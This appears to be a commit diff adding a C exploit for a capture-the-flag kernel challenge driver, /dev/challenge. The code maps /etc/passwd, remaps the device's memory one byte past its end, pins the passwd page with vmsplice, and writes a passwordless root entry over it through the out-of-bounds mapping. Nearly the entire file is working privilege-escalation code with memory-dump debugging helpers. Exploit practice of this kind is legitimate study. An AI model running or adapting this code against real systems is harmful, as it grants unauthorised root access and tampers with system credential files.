|
| 1 | +#define _GNU_SOURCE |
| 2 | +#include <stdio.h> |
| 3 | +#include <sys/mman.h> |
| 4 | +#include <fcntl.h> |
| 5 | +#include <stdint.h> |
| 6 | +#include <stdlib.h> |
| 7 | +#include <unistd.h> |
| 8 | +#include <string.h> |
| 9 | + |
| 10 | +#define module "/dev/challenge" |
| 11 | +#define PAGE_SZ 0x1000 |
| 12 | +#define PAGE_CNT 0x80 |
| 13 | + |
| 14 | +int pipes[2]; |
| 15 | +int fd, passwd_fd; |
| 16 | + |
| 17 | +void fatal(char* msg){ |
| 18 | + perror(msg); |
| 19 | + exit(-1); |
| 20 | +} |
| 21 | + |
| 22 | +void check_fd(int fd){ |
| 23 | + if (fd < 0) fatal("Error During FD Opening\n"); |
| 24 | +} |
| 25 | + |
| 26 | +void breakpoint(){ |
| 27 | + printf("CHECK GDB "); |
| 28 | + fflush(stdout); |
| 29 | + getchar(); |
| 30 | + printf("\n"); |
| 31 | +} |
| 32 | + |
| 33 | +void inspect_memory(void *addr, size_t length) { |
| 34 | + int mem_fd = open("/proc/self/mem", O_RDONLY); |
| 35 | + if (mem_fd < 0) { |
| 36 | + perror("open /proc/self/mem"); |
| 37 | + return; |
| 38 | + } |
| 39 | + |
| 40 | + if (lseek(mem_fd, (off_t)addr, SEEK_SET) == (off_t)-1) { |
| 41 | + perror("lseek"); |
| 42 | + close(mem_fd); |
| 43 | + return; |
| 44 | + } |
| 45 | + |
| 46 | + char buffer[128]; |
| 47 | + ssize_t bytes = read(mem_fd, buffer, length); |
| 48 | + if (bytes > 0) { |
| 49 | + printf("Memory at %p:\n", addr); |
| 50 | + for (size_t i = 0; i < bytes; i++) { |
| 51 | + printf("%02x ", (unsigned char)buffer[i]); |
| 52 | + if ((i + 1) % 16 == 0) printf("\n"); |
| 53 | + } |
| 54 | + printf("\n"); |
| 55 | + } else { |
| 56 | + perror("read"); |
| 57 | + } |
| 58 | + close(mem_fd); |
| 59 | +} |
| 60 | + |
| 61 | +void dump_memory(void *address, size_t size) { |
| 62 | + unsigned char *addr = (unsigned char *)address; |
| 63 | + printf("Memory dump at %p:\n", address); |
| 64 | + for (size_t i = 0; i < size; i++) { |
| 65 | + printf("%02x ", addr[i]); |
| 66 | + if ((i + 1) % 16 == 0) printf("\n"); |
| 67 | + } |
| 68 | + printf("\n"); |
| 69 | +} |
| 70 | + |
| 71 | +int main(){ |
| 72 | + char ovw[] = "root::0:0:xroot:/root:/bin/sh0円"; |
| 73 | + passwd_fd = open("/etc/passwd", O_RDONLY); |
| 74 | + check_fd(passwd_fd); |
| 75 | + printf("Opened /etc/passwd\n"); |
| 76 | + |
| 77 | + void *pass_map = mmap(NULL, PAGE_SZ, PROT_READ, MAP_SHARED, passwd_fd, 0); |
| 78 | + printf("/etc/passwd mapped at address: \t\t%p\n", pass_map); |
| 79 | + |
| 80 | + fd = open(module, O_RDWR); |
| 81 | + check_fd(fd); |
| 82 | + printf("Opened /dev/challenge\n"); |
| 83 | + |
| 84 | + void *ptr = mmap(0, PAGE_CNT * PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); |
| 85 | + printf("/dev/challenge mapped at address: \t%p\n", ptr); |
| 86 | + |
| 87 | + ptr = mremap(ptr, PAGE_CNT * PAGE_SZ, PAGE_SZ * PAGE_CNT + 1, MREMAP_MAYMOVE); |
| 88 | + printf("mremap successful. New address: \t%p\n", ptr); |
| 89 | + |
| 90 | + pipe(pipes); |
| 91 | + printf("Pipe created. Read end: %d, Write end: %d\n", pipes[0], pipes[1]); |
| 92 | + |
| 93 | + struct iovec iov = { |
| 94 | + .iov_base = pass_map, |
| 95 | + .iov_len = PAGE_SZ, |
| 96 | + }; |
| 97 | + |
| 98 | + vmsplice(pipes[1], &iov, 1, 0); |
| 99 | + |
| 100 | + printf("\n--- Dumping /etc/passwd memory region ---\n"); |
| 101 | + dump_memory(pass_map, 64); |
| 102 | + |
| 103 | + void *target_address = (char *)(ptr + PAGE_CNT * PAGE_SZ); |
| 104 | + inspect_memory(target_address, 64); |
| 105 | + printf("Address to be overwritten: \t%p\n", target_address); |
| 106 | + strcpy(target_address, ovw); |
| 107 | + |
| 108 | + printf("\n--- Dumping /etc/passwd memory region after overwrite ---\n"); |
| 109 | + dump_memory(target_address, 64); |
| 110 | + return 0; |
| 111 | +} |
0 commit comments